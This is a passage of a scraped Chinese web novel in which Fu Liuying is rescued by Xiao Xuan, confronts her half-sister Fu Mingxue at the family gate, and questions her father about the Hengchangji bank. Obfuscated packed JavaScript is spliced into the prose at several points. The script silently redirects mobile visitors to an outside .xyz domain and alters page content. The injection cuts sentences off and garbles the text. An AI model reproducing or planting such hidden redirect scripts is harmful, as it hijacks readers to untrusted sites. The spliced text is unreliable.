“春芽！夏婵！”傅流萤声音发颤，手指急切地探向她们的颈脉，又翻开她们的眼睑查看瞳孔。 脉搏虽然微弱，但还算平稳。 她稍稍放下心，又仔细检查她们身上的伤。 大多是皮肉伤，青紫淤痕遍布，尤其是手臂和小腿，被粗麻绳捆过的地方皮开肉绽，渗着血丝，看着触目惊心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131668|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但好在骨头似乎没事，内腑也无大碍，主要是惊吓过度和体力透支导致的昏迷。 “还好……还好……”傅流萤喃喃着，一直紧绷的神经骤然松懈，巨大的疲惫和肩头的剧痛瞬间席卷而来，让她眼前阵阵发黑，几乎要栽倒。 一只冰冷有力的手及时扶住了她的手臂。 傅流萤抬头，对上萧玹那双深不见底的眼眸。他依旧戴着斗笠，看不清表情，但周身那股迫人的寒意似乎收敛了一些。 “多谢督主救命之恩。”傅流萤稳住身形，低声道谢，声音带着劫后的虚弱，“若非督主及时赶到，流萤和她们，今日怕是……” “没有金刚钻，就别揽瓷器活。”萧玹的声音依旧冰冷，打断了她的话，带着毫不留情的数落，“傅流萤，你当这是将军府的后花园？还是你以为你那点三脚猫的把式，真能在这**不吐骨头的地方翻出浪来？莽撞行事，只凭一腔意气，若非本督……” 他顿了顿，后面的话没有说下去，但那股余怒未消的气息却很清晰。 傅流萤垂下眼睫，没有反驳。 她知道他说的是对的。 这次行动，她确实低估了恒昌记的凶险和复杂，差点把自己和两个丫鬟的命都搭进去。 “督主教训的是。是流萤思虑不周，太过冒进。”她低声认错，姿态放得很低。 萧玹冷哼一声，目光扫过她肩上浸透衣衫的暗红血迹，斗笠下的眉头似乎几不可察地蹙了一下。 那点细微的变化快得让人无法捕捉，随即又被冰霜覆盖。 “傅小姐不顾一切地闯进去，倒是情深义重。”他的语气带着浓浓的嘲讽，“只是，若今日你真折在了里面，本督岂不是还要平白背上一个克妻的罪名？” 这话说得刻薄，却又透着一丝难以言喻的……古怪。 傅流萤微微一怔，随即反应过来。 他们之间，还有一道御赐的婚约悬着。 若她真死在这里，萧玹这个“未婚夫”确实会惹上非议。 原来……他还在意这个？ 第八十六章 督主教训的是 她压下心头的异样，抬眸看向他，脸上挤出一个虚弱的笑，“督主言重了。流萤福薄命硬，不敢连累督主清誉。救命之恩，无以为报。既然……” 她顿了顿，声音低了下去，带着一丝羞赧，“既然流萤早已是督主的人了，那下半辈子，自当……尽心尽力，伺候督主左右，以报此恩。” 这话半真半假，也带着一丝试探和……刻意的引诱。 萧玹的目光骤然变得幽深，如同寒潭投入了石子，荡开一圈危险的涟漪。 他静静地看了她片刻，那目光仿佛能穿透她刻意伪装的柔弱，。 “呵……”最终，他只是从鼻腔里发出一声意味不明的冷哼，“伺候？傅小姐还是先顾好你自己吧。残风！” “属下在！”残风如同影子般无声出现。 “备车。” “是！” 一辆外表毫不起眼的青篷马车很快驶入了这条肮脏的后巷。 车夫是个面容普通的汉子，眼神却锐利如鹰。 残风小心地将春芽和夏婵抱上车。 傅流萤忍着肩痛，在萧玹冰冷目光的注视下，也艰难地爬上了马车。 车厢内空间不大，弥漫着淡淡的沉水香气，布置却异常简洁冷硬。 萧玹随后也上了车，坐在傅流萤对面。 狭小的空间里，他高大的身影和冰冷的气息充满了压迫感。 傅流萤靠坐在角落，抱着昏迷的夏婵，尽量缩小自己的存在感。 马车平稳地行驶在黄昏的街道上，车厢内一片沉寂，只有车轮碾过青石板的辘辘声和两个丫鬟微弱的呼吸声。 傅流萤闭着眼，肩头的疼痛一阵阵袭来，让她眉头紧锁，额角渗出细密的冷汗。 她能感觉到对面那道冰冷的目光，如同实质般落在她身上，带着审视和探究。 不知过了多久，马车缓缓停了下来。 “督主，前面是‘云锦阁’。”车夫的声音传来。 萧玹没有看傅流萤，只是淡淡道：“下车。” 傅流萤一愣，抬头看向他。 云锦阁？ 京城最有名的制衣铺子之一，他带她来这里做什么。 萧玹已经率先掀开车帘下了车。 傅流萤无奈，只得忍着痛，也跟着下了车，春芽和夏蝉已经醒了，所以也跟着傅流萤一起。 黄昏的余晖洒在“云锦阁”气派的招牌上。店铺尚未打烊，里面灯火通明，隐约可见悬挂着的华美布料。 萧玹径直走了进去。 他虽戴着斗笠，但那身玄色衣袍和通身迫人的冰冷气场，让迎上来的掌柜瞬间绷紧了神经，脸上的笑容都带上了十二分的小心翼翼。 “这位……爷，您需要点什么？”掌柜哈着腰，大气不敢出。 “给她。”萧玹微微侧身，露出身后狼狈不堪的傅流萤，“挑几身合身的成衣，从里到外。要快。”他的声音毫无波澜，却带着不容置疑的命令。 掌柜的目光落在傅流萤身上，看到她满身血污，衣衫褴褛，发髻散乱的模样，眼中闪过一丝惊骇，但立刻低下头，不敢多问，连声道，“是是是！这位小姐，请随小的来，后面有净室，您先梳洗一下？成衣马上给您送来挑选！” 傅流萤这才明白过来。 她这副样子，确实无法见人，更无法回将军府。 她看向萧玹，低声道，“多谢督主。” 萧玹没应声，只是负手站在店内，斗笠下的目光随意扫过那些华美的锦缎，眼底波澜不惊。 傅流萤跟着掌柜去了后堂净室。 热水早已备好，还有两个手脚麻利的丫鬟伺候。 她脱下那身染血的粗布衣，肩头一大片骇人的青紫肿胀暴露出来，皮肤下渗着血丝。 她咬着牙，用热水简单清理了身上的血污，换上了干净的里衣。 很快，掌柜亲自捧来了几套成衣，颜色素雅，料子却都是上好的云锦和软缎，触手生凉。 “小姐您看这套烟霞色的可好？衬气色……” “还有这套月白的，清爽雅致……” “这套藕荷色的……” 傅流萤无心挑选，只想快点离开这令人窒息的地方。 她随手一指那套烟霞色的云锦襦裙，“就它吧。再劳烦 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夜色已悄然笼罩了京城，将军府门口两盏气死风灯在夜风中摇曳，投下昏黄的光晕。 马车在距离府门还有一小段距离的阴影处停下。 “到了。”萧玹的声音在沉寂的车厢内响起，毫无温度。 傅流萤深吸一口气，看着萧玹，“多谢督主今日援手，大恩不言谢，流萤告辞。”她准备下车。 “傅流萤。”萧玹忽然叫住她。 她动作一顿，回头看他。 斗笠的阴影下，他的声音低沉，带着一丝冷意，“记住今日的教训，这京城的水，比你想象的要深，也要浑得多，想活命，想做成你想做的事，光靠匹夫之勇，只会死得更快。” 傅流萤心头一震，对上他深不见底的眼眸，郑重地点了点头，“督主教诲，流萤铭记于心。” 萧玹这话说的虽然不中听，但是却是实话。 今日如果不是有他在，她根本就无法独善其身。 第八十七章 多亏了萧玹 傅流萤抬头只看到萧玹削瘦的下巴。 她的眉心忍不住紧锁起来。 萧玹到底是一个怎样的人呢？ 他对于斗兽场的一切残酷和黑暗可以置之不理。 置那些人的命于不顾，可却又会主动救她。 好几次危难时刻。 都是萧玹及时赶到。 这说明他一直在钱庄并没有离开过。 可他既不想救这些人又何必浪费时间在这上面。 难不成是为了追查私放印子钱一事而来？ 傅流萤皱了皱眉。 可是这印子钱和钱庄脱不了干洗。 而钱庄又大肆经营着斗兽场和赌场甚至还干起了人口贩卖的勾当。 萧玹若是想要查印子钱那这钱庄幕后的老板干出来的事也一件不会少。 傅流萤一时之间猜不到萧玹的心思。 就在傅流萤沉思之际。 萧玹的声音在耳边响起，“傅小姐这是想赖着不走了？” 他的语气里带着一丝的玩味，微抬着下巴，冰冷的眼神扫过傅流萤，她回过神来。 傅流萤忍着肩痛，下了马车，春芽和夏蝉跟在她的后面。 三个人朝着将军府那两扇沉重的朱漆大门走去。 昏黄的灯光将她三人的身影拉得长长的，显得格外孤零和狼狈。 就在傅流萤踏上将军府门前第一级台阶，准备叩响门环时。 “哟，我当是谁呢？这不是我们的傅大小姐吗？” 一道尖利刻薄、充满了嘲讽的女声，如同淬了毒的冰锥，骤然从大门内侧响起！ 沉重的朱漆大门被人从里面拉开了一道缝隙。 傅明雪穿着一身簇新的桃红色撒花烟罗裙，发髻上簪着赤金步摇，打扮得光彩照人，正斜倚在门框上。 她抱着双臂，居高临下地俯视着台阶下的傅流萤。 她的目光像毒蛇的信子，落在傅流萤身上，尤其在看到她脸上未褪尽的苍白时，嘴角勾起一抹恶毒的笑容。 “啧啧啧，”傅明雪拖长了调子，声音在寂静的夜里格外刺耳，“瞧瞧我们这位未来的督主夫人，这是打哪儿风光回来了呀？瞧瞧这模样……知道的，说你是去办事了。不知道的，还以为你是刚从哪个土匪窝里逃难出来，被人糟蹋了呢！” 傅明雪盯着傅流萤，滔天的恨意在她的心底疯狂燃烧！就是眼前这个女人，这个所谓的“嫡长女”傅流萤！ 若非她的出现，自己怎会失去父亲的宠爱？ 怎会被发配到家庙受尽清苦？ 又怎会连傅家族谱都进不去，永远失去了傅家大小姐的尊贵身份和未来！ 这一切，都是拜傅流萤所赐！ 只要能毁了傅流萤，只要能让她身败名裂，失去与萧玹的婚约，被父亲厌弃赶出家门……那么，这傅家大小姐的位置，终究还会是她傅明雪的囊中之物！ 一个被玷污了名声、退了婚的女人，还有什么资格留在傅家？ 这恶毒至极、污人清白的诛心之言，顿时让春芽和夏婵看不下去了。 她们虽虚弱不堪，身上伤痕累累，但还是踉跄着上前一步，毅然决然地挡在了傅流萤身前！ “二小姐！”春芽气得浑身发抖，声音很尖锐愤恨，“您、您怎能如此污蔑大小姐！这是您身为妹妹该说的话吗？简直……简直毫无礼数，有辱门风！” 夏婵更是双目圆睁，愤怒地瞪着傅明雪，“我们小姐清清白白，岂容你如此血口喷人！你……你太过分了！” “放肆！”傅明雪眼看两个她素日里根本瞧不上眼的丫鬟，竟敢当着下人的面如此顶撞指责于她，甚至隐隐有“骑在她头上”的架势，那点仅存的理智瞬间被狂怒吞噬！ 她那张精心修饰的脸庞因愤怒而扭曲变形，厉声尖叫道，“反了！真是反了天了！来人！给我把这两个以下犯上、不知死活的贱婢拿下！撕烂她们的嘴！给我狠狠地打！打到她们知道谁才是主子为止！” 傅明雪身后跟着的两个粗壮婆子和一个丫鬟，平日里就是她的爪牙，闻言立刻凶神恶煞地扑了上来，大手直直抓向春芽和夏婵的头发和衣襟！ 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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傅流萤的目光如同极北荒原刮来的万年寒风，冰冷、锐利，带着一种居高临下的、毫不掩饰的轻蔑与杀意，瞬间冻结了周遭所有的空气。 “你算个什么东西？”她的声音不高，却字字如冰锥，狠狠扎进傅明雪的心上，“也配动我的人？” “傅明雪，看来还是前几天在家庙学的规矩不够多，依我之见，应该再送你住一段时间才是。” 第八十八章 抹黑 傅明雪听到“家庙”二字，身体猛地一颤，瞳孔骤然收缩。 那些噩梦般的记忆如潮水般涌来。 冰冷潮湿的青砖地，她被迫跪在上面整整一天，膝盖淤青肿胀。 严厉的老嬷嬷用戒尺抽打她的手心，逼她抄写《女诫》百遍。 烈日当空，她被罚站在院中暴晒，汗水浸透衣衫，头晕目眩却不敢倒下。 更可怕的是那些漫长的夜晚，饿着肚子蜷缩在硬板床上，听着窗外野猫凄厉的叫声。 “不……我不要回去……”傅明雪嘴唇颤抖，声音细如蚊呐。 她下意识后退一步，后背紧贴在冰冷的门框上。 但随即，她看到傅流萤肩头不自然的僵硬姿势，眼中又燃起恶毒的火焰。 她强撑着直起腰，尖声叫道：“傅流萤！你以为父亲现在相信你，你就可以在我面前耀武扬威了？呸！你不过就是靠着萧玹那个阉人的势，才能在父亲面前得脸！” 她越说越激动，声音拔高到几乎刺耳的程度：“什么嫡长女？什么未来督主夫人？我告诉你，你就是一个……” “啪！” 又是一记响亮的耳光，打断了傅明雪恶毒的咒骂。 傅流萤这次用了全力，傅明雪被打得偏过头去，嘴角渗出一丝鲜血。 府门口已经**了不少闻声而来的下人，他们躲在暗处窃窃私语，却没人敢上前劝阻。 傅明雪眼珠一转，突然扯开嗓子大喊起来：“快来看啊！傅家大小姐在外厮混一天一夜，衣衫不整地回来，还要打我这个说实话的妹妹！她这是做贼心虚！她。” “闭嘴！”傅流萤眼中寒光乍现，一步上前，抬脚狠狠踩在傅明雪胸口！ “啊！”傅明雪惨叫一声，只觉得胸口如被巨石压住，呼吸都困难起来。 她惊恐地发现，傅流萤眼中的杀意是认真的。 “傅明雪，你找死。”傅流萤的声音冷得像冰，脚下微微用力，“一而再再而三地污我名声，你真当我不敢动你？” “救……救命！父亲！母亲！哥哥！”傅明雪脸色煞白，双手徒劳地抓着傅流萤的脚踝，却无法撼动分毫。 她转向自己的丫鬟，尖叫道：“愣着干什么？快去叫人！傅流萤疯了！她要杀我！” 那丫鬟如梦初醒，转身就往府内狂奔。 春芽和夏婵对视一眼，都有些担忧。 春芽小声道：“小姐，要不……算了吧？闹大了对您不好……” 傅流萤冷笑一声，不但没松脚，反而俯下身，一把揪住傅明雪的衣领：“你以为我不知道？今日钱庄之事，少不了你的手笔，说，你和钱庄到底什么关系？” 傅明雪眼中闪过一丝慌乱，但很快又强装镇定：“你、你胡说什么？我根本不知道什么钱庄！” “是吗？”傅流萤手上用力，将傅明雪提起来几分，“傅明雪，你真把我当成傻子？那一笔笔流水，大多数和你有脱不了的干系，更重要的是，你去过那家恒昌记不止三次。” “恒昌记不是什么大钱庄，距离将军府又远，利息在几家钱庄里也不出众，我实在是想不通，那里有什么值得你一趟趟跑的？” 傅明雪死咬着牙，咬死不承认，“傅流萤，我不知道你在说什么。” 傅流萤冷笑，“不知道没关系，我会让你说的。” 围观的仆从中响起一片哗然。 有人小声议论：“大小姐在说什么？我怎么听不懂，二小姐到底做啥了？” 傅明雪脸色一阵青一阵白，突然歇斯底里地喊道，“你血口喷人！明明是你自己不检点，在外头勾引……” “够了！” 一声威严的怒喝从府内传来。 人群自动分开，傅莽一身家常便服大步走来，身后跟着满脸焦急的柳飞燕和一脸阴沉的傅凛。 “父亲！母亲！“傅明雪立刻变了一副面孔，眼泪说来就来，“姐姐她要杀我！您看她把我打的……” 她指着自己红肿的脸颊和凌乱的衣衫，哭得梨花带雨。 柳飞燕一见女儿这副模样，心疼得不得了，三步并作两步冲上前：“流萤！你这是做什么？快放开你妹妹！” 傅流萤冷冷地扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳飞燕见状，立刻插话：“老爷，这事蹊跷，不能光听一面之词。傅流萤，你说明雪勾结外人，可有证据？” “证据？“傅流萤眼中闪过一丝讥讽，“你想要什么样的证据？要不要我现在带人去钱庄，把那些打手的供词录一份来？“ “你……”柳飞燕被噎住，脸色难看。 傅莽抬手制止了争吵，沉声问道：“流萤，你之前去过恒昌记？” 傅流萤深吸一口气，肩头的伤疼得她眼前发黑，但她强撑着挺直脊背：“没有。” 她紧紧的盯着傅莽的眼睛，抿着唇，淡淡的开口，“我查到了恒昌记私放印子钱，至于他们为什么**春芽和夏婵，大抵是看她们姿色不错，可以卖个好价钱。” “你查这个做什么？”傅莽皱着眉，似乎有些不悦，“那是东厂该管的事！“ “父亲教导女儿，傅家儿女当心怀正义。”傅流萤直视傅莽的眼睛。 这确实是他很小的时候傅莽交给他的可后来傅明雪来了傅家之后， 傅莽就再也没有教过她这些东西。 而往后的十多年里，傅莽就再也没有说过这些话。 想必，他自己也忘记了吧。 这些年，他有心怀正义么？ 傅流萤眨了眨眼睛，“恒昌记背后牵连甚广，女儿怀疑与朝中某些人有关。今日我亲眼所见，那里不仅有赌场、斗兽场，还关押着许多被拐卖的良家女子。” 她顿了顿，声音低了几分：“京城近年来的失踪案，恐怕大半与他们有关。” 傅流萤一字一句。 傅莽的脸色变幻不定。 傅流萤一时之间，也看不透傅莽的心思。 关于恒昌记钱庄的秘密交易，傅莽到底知道多少。 傅流萤的眸色渐深。 柳飞燕见势不妙，赶紧转移话题：“老爷，这些事可以慢慢说。现在当务之急是明雪，她是个女孩子，若是因此留下什么伤疤，这辈子就毁了。” 傅莽回过神来，看着傅明雪的脸，眼底划过一丝不忍，沉声道：“都进府再说，明雪，你先下去处理伤口，至于流萤……你跟我到书房来。” 傅明雪脸色一白：“父亲！我……“ “闭嘴！“傅莽罕见地对这个一向宠爱的女儿发了火，“若让我查出你真做了这等吃里扒外的事，家法伺候！” 柳飞燕身子一颤，连忙给儿子使眼色。傅凛会意，上前扶住傅莽：“父亲息怒，这事或许有误会。明雪年纪小，不懂事……” “十六岁了还小？”傅莽甩开傅凛的手，看着他还在维护傅明雪，心里那颗怀疑的种子又开始蔓延。 “傅凛，你记住你的身份，你是傅明雪的哥哥，永远都只能是她的哥哥。” 这句话是提醒，也是警告。 傅凛的脸色一白，手僵在了半空中，眼底闪过了极大的痛苦。 傅莽看着他脸上的情绪，脸色更加阴沉。 傅流萤淡淡的看着，看来是无心插柳柳成荫了。 傅莽还在怀疑他们。 “都进去！“傅莽一甩袖子，转身往府里走。 经过傅流萤身边时，他低声道：“先去上药，晚些来书房见我。” 傅流萤点点头，带着春芽和夏婵往自己院子走去。 身后，她听到傅明雪委屈的啜泣和柳飞燕小声的安抚，嘴角勾起一抹冷笑。 这场仗，才刚刚开始。 回到芳华院，春芽立刻打来热水，夏婵则翻出金疮药。 “小姐，您忍着点。”春芽红着眼眶，小心翼翼地帮傅流萤褪下衣衫。 当看到那片触目惊心的青紫淤伤时，两个丫鬟都倒吸一口凉气。 “天啊。”夏婵手都在抖，“这，大小姐，这得请大夫来看看吧？” “不必。”傅流萤咬牙忍着疼，“骨头没断，敷些药就好。你们自己的伤呢？” 春芽抹了抹眼泪，“奴婢们都是皮外伤，不打紧。小姐是为了救我们才……” “别说傻话。”傅流萤打断她，“今日之事，你们记住，对外就说出门时被歹人劫了，是路过的侠士所救。钱庄的事一个字都不要提。” 两个丫鬟连连点头。 夏婵一边上药一边小声道，“小姐，二小姐她…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133507|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不会再使坏？” 傅流萤眼中寒光一闪：“她不敢。至少短期内不敢。”她看向窗外渐暗的天色，“父亲现在起了疑心，柳飞燕一定会约束她。不过……” “不过什么？”春芽问。 傅流萤摇摇头，没再说下去。 她在想萧玹临走时的话。 这京城的水，比她想象的更深更浑。 恒昌记背后的人是谁？ 傅明雪是怎么和他们搭上线的？ 还有……萧玹为何会那么巧出现在钱庄？ 傅莽说，调查印子钱是东厂的事情，那萧玹出现也情有可原了。 “小姐，药上好了。”夏婵的声音将她拉回现实，“您要不要歇会儿？将军那边……” 傅流萤站起身：“现在就去。” 她换了一身素净的衣裙，重新绾了发，强撑着精神往书房走去。 每走一步，肩头的伤都疼得钻心，但她脸上丝毫不显。 书房外，她听到里面传来傅明雪的哭声和傅莽的训斥。 正要敲门，身后突然传来柳飞燕的声音。 傅流萤没管她们，直接推门进去。 傅莽抬头扫了她一眼，眸色深沉，看不出任何的情绪。 “你来了。” 傅流萤嗯了一声，“父亲。” 叫完傅莽，傅流萤就站在书房的中间。 没有看傅明雪一眼，也没有看柳飞燕，好像眼中并没有这两个人一样。 柳飞燕的脸色一僵。 没想到傅流萤竟然将她无视个彻底。 不管怎么说，她好歹也是傅流萤的母亲。 哪有女儿见了母亲不打招呼之礼？ 果然是没有教养的东西，比不上她的明雪一根头发。 柳飞燕气的要死，但想到刚才傅莽说的话，她又不得不向傅流萤低头。 柳飞燕走近几步，压低声音：“流萤，雪儿年纪小不懂事，若真有冒犯之处，我代她向你赔罪。你看在一家人的份上……” “一家人？”傅流萤轻笑一声，“傅明雪勾结外人**我的丫鬟时，可没想过我们是一家人。” 第九十章 家和万事兴 “还有她到处抹黑我的名声，散播谣言的时候，也没想过我们是一家人，现在你用一家人让我不计较，不觉得很可笑吗？” 柳飞燕脸色一变：“你！“她强压怒火，挤出一个笑容，“这事还没查清，未必是雪儿做的。再说……你如今不是好好的吗？何必揪着不放？” 傅流萤眯起眼睛，“你的意思是，只要我没死，这事就可以算了？” “我不是这个意思！“柳飞燕急忙道，“只是……家和万事兴。你马上就要嫁入督主府了，何必在这当口……” 柳飞燕被傅流萤顶得心口发堵，脸色铁青，却又发作不得。 她深吸一口气，转而看向傅莽，声音带着委屈和刻意的柔弱：“老爷，您听听！流萤这丫头，如今是越发不把长辈放在眼里了！这般顶撞于我，还污蔑她妹妹……我看今日之事，未必就如她所说那般简单！定是她自己行事不端，招惹了是非，被人家找上门来，反倒赖在明雪头上！” 她一边说，一边捏着帕子擦拭眼角根本不存在的泪水，肩膀微微耸动，一副受尽委屈的模样。 “明雪这孩子，您是知道的，性子是直了些，可心地纯善，断不会做出勾结外人坑害自家姐妹这等丧尽天良之事啊！流萤这般咄咄逼人，莫不是……莫不是因着那婚约之事，对明雪心存怨恨？” 傅流萤冷眼看着柳飞燕这番做作的表演。 只觉得稀奇。 柳飞燕什么时候学会这些东西了？ 这倒是很像傅明雪的作派。 果然有什么样的女儿就有什么样的娘。 她们两个虽然不是亲生母女，可却胜似亲生。 傅流萤扯了扯嘴角，声音不高，却清晰地盖过了柳飞燕的啜泣：“此言差矣。是非曲直，自有公论。我今日所言，句句属实。至于傅明雪是否纯善……” 她的目光如冰冷的针尖，刺向躲在柳飞燕身后、捂着脸颊眼神怨毒的傅明雪。 “她屡次三番污我清白，造谣生事，恨不得将我踩入泥潭，这心思，府中上下，怕是只有耳目不明的人才会觉得她纯善了。” “你！”柳飞燕气得浑身发抖，指着傅流萤，“反了！真是反了天了！老爷，您就看着她如此忤逆不孝？” 傅莽的太阳穴突突直跳。 书房里充斥着的哭诉和指责像无数只苍蝇在耳边嗡嗡作响，吵得他心烦意乱，头痛欲裂。 他猛地一拍书案，发出“砰”的一声巨响！ “够了！”傅莽的声音带着压抑的怒火，震得整个书房似乎都晃了晃。 他额角青筋隐现，目光如刀般扫过柳飞燕和傅明雪，最后沉沉地落在傅流萤身上，带着审视与不耐。 “吵吵嚷嚷，成何体统！”傅莽低吼，胸中郁气翻涌，“此事疑点重重，尚未查清，就在这里互相诋毁，家宅不宁！我傅家清静之地，岂容你们如此放肆！” 他狠狠瞪了柳飞燕一眼，带着不容置疑的驱逐意味：“柳氏！管好你的女儿！带她下去，给她脸上上药，好好闭门思过！没有我的允许，谁也不许再提此事！更不许在府中再生事端！滚出去！” “老爷！”柳飞燕不甘心，还想再辩驳几句。 “滚！”傅莽彻底失了耐心，脸色阴沉得能滴出水来，那眼神里的厉色让柳飞燕心头一寒，后面的话生生咽了回去。 傅明雪更是吓得瑟缩了一下，连脸上的疼都忘了，只余下满心不甘和对傅莽突然暴怒的恐惧。 她怨毒地剜了傅流萤一眼，那眼神淬了毒一般，才被柳飞燕不情不愿地拉扯着，踉踉跄跄退出了书房。 门被带上，隔绝了外面母女俩压抑的哭音。 书房内霎时安静下来，只剩下铜漏滴答的细微声响，以及烛火偶尔爆开的噼啪声。 这突兀的寂静，让人心惊。 傅莽重重地坐回太师椅，疲惫地揉了揉眉心，半晌没有言语。傅流萤静静地站着，面上依旧沉静如水，只是脸色因失血和剧痛而显得格外苍白。 “你今日。”傅莽终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133508|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口，声音低沉沙哑，带着一丝不易察觉的试探，“去了恒昌记钱庄？还……查到了私放印子钱？甚至看到了他们的……斗兽场和关押女子之处？” 他抬起头，浑浊的眼睛紧紧盯着傅流萤，像要看穿她的灵魂，“流萤，告诉为父，你究竟……查到了多少？或者说，你想做什么？” 傅流萤迎上他审视的目光，那双杏眸清澈见底，却又深不见底。 她没有直接回答，反而问傅莽，“父亲，今日之事，恒昌记钱庄背后的一切，与您……可有关联？” “轰……” 仿佛一道无声的惊雷在傅莽脑中炸开！ 他搭在扶手上的手猛地攥紧，指节瞬间发白，发出轻微的“咯吱”声。 脸上的肌肉几不可察地抽搐了一下，眼底深处飞快掠过一丝震惊慌乱，随即被强行压下的震怒所取代。 “放肆！”傅莽猛地站起，高大的身躯投下压迫的阴影，声音因极致的惊怒拔高了些许，带着一丝不易察觉的颤抖，“傅流萤！你知不知道你在说什么？你竟敢怀疑你的父亲？怀疑我与那等藏污纳垢之所有关？在你眼里，为父就是这等不堪之人？” 他的胸膛剧烈起伏，显然被气得不轻。 傅流萤将他瞬间的失态尽收眼底。 那攥紧的拳头，那眼底一闪而过的慌乱……足够了。 这可不像是什么都不知道的人呢。 她心底的冷笑几乎要溢出嘴角。 真的无关吗？ 父亲，您这反应，可比任何言语都更能说明问题。 但她面上却适时地显露出一丝恰到好处的惶恐和委屈，微微垂下眼睫，声音放低了些，带着一丝的坦诚和示弱。 “父亲息怒。女儿并非怀疑父亲，更不敢质疑父亲为人。” 她顿了顿，抬起眼，眼神变得无比真挚，甚至带上了一丝不易察觉的孺慕和依赖，“女儿只是……怕了。” “怕？”傅莽皱眉，怒火稍歇，狐疑地看着她。 第九十一章 围猎场 “是，怕。”傅流萤的声音带着一丝劫后余生的疲惫和脆弱，“女儿今日在钱庄，九死一生。那些人，手段狠辣，背景莫测。女儿是傅家的女儿，一举一动，都牵连着傅家。若那钱庄背后真有什么滔天势力，而女儿在不知情下冒然查探，得罪了不该得罪的人，岂不是……连累了整个傅家？连累了父亲您？” 她向前一步，姿态放得极低，语气无比诚恳：“父亲，无论恒昌记背后是谁，无论此事与您是否有关联，女儿都只想说一句，我们父女，如今是一荣俱荣，一损俱损！女儿姓傅，身上流着您的血，无论发生什么，女儿都只会站在父亲这边，站在傅家这边！女儿所做的一切，都是为了傅家的安危和前程着想！” 她微微加重了语气，目光灼灼地看着傅莽，像是在许下一个郑重的承诺，“女儿只求父亲明白，无论前路如何凶险，女儿永远是您的女儿，是傅家的女儿。女儿……只想为父亲分忧，为傅家尽一份力！” 这番话说得情真意切。 傅莽紧绷的脸色，在她这番剖心之言下，终于缓缓松动。 他眼中的震怒渐渐被一种复杂的审视和犹疑所取代。 他重新坐回椅中，手指无意识地敲击着光滑的红木桌面，发出沉闷的笃笃声，像是在权衡利弊。 书房内再次陷入沉默，空气凝滞得仿佛能滴出水来。 烛火摇曳，将父女二人的身影拉长，投在墙壁上。 傅莽的目光落在傅流萤苍白却异常镇定的脸上，似乎想要从那沉静的眼眸中分辨出几分真假。 他当然不会全信傅流萤这番忠心耿耿的表态，但他也无法否认她的话有很多可取之处。 她是傅家女，她的身份注定与傅家捆绑。 所以从这一点来说傅莽并不担心傅流萤会背叛他。 过了许久，久到傅流萤肩头的疼痛几乎要让她站立不稳时，傅莽终于开口，声音恢复了惯常的低沉，带着一种刻意营造的疏离与威严： “此事……与为父无关。” 他吐出这七个字，语气平淡，却带着一种不容置疑的定论意味。 仿佛只是陈述一个简单的事实。 看来傅莽现在还在防备着她。 不过这也正常。 像傅莽这样的人，本就多疑。 傅流萤微微颔首：“女儿明白了。是女儿多虑了。” 傅莽看着她这副“深信不疑”的模样，紧绷的心弦似乎松了一分，但眼底的凝重却丝毫未减。 他话锋一转，语气带着命令：“流萤，为父知道你有些本事，也……有些想法。但恒昌记水太深，绝非你能轻易触碰。此事到此为止，你不必再查，更不许再提！东厂那边，自有萧玹去处理。明白吗？” “是，女儿谨遵父亲教诲。”傅流萤垂首应道，姿态恭顺无比。 她的心中却雪亮。 傅莽这是要她封口，将此事彻底压下。 “嗯。”傅莽对她的顺从似乎颇为满意，紧绷的脸色彻底缓和下来。 他像是想起了什么，忽然道：“对了，三日后，京郊皇家围场春猎，陛下亲临，勋贵重臣及其家眷皆在受邀之列。” “你是将军府的大小姐，又与萧督主有婚约在身，于情于理都该出席，这几日好好养伤，准备一下，莫要失了体面。” 皇家围猎？ 傅流萤心中一动，这可是个探听消息，观察各方势力的绝佳机会。 她立刻应道，“是，女儿定当好好准备。” 傅流萤顿了顿，像是忽然想起什么，状似无意地补充道：“父亲，明雪妹妹也到了该议亲的年纪，这等场合，让她多出去见识见识，结交些闺秀，也是好的。不如……让明雪妹妹也一同去吧？” 傅莽闻言，眉头下意识地皱起。 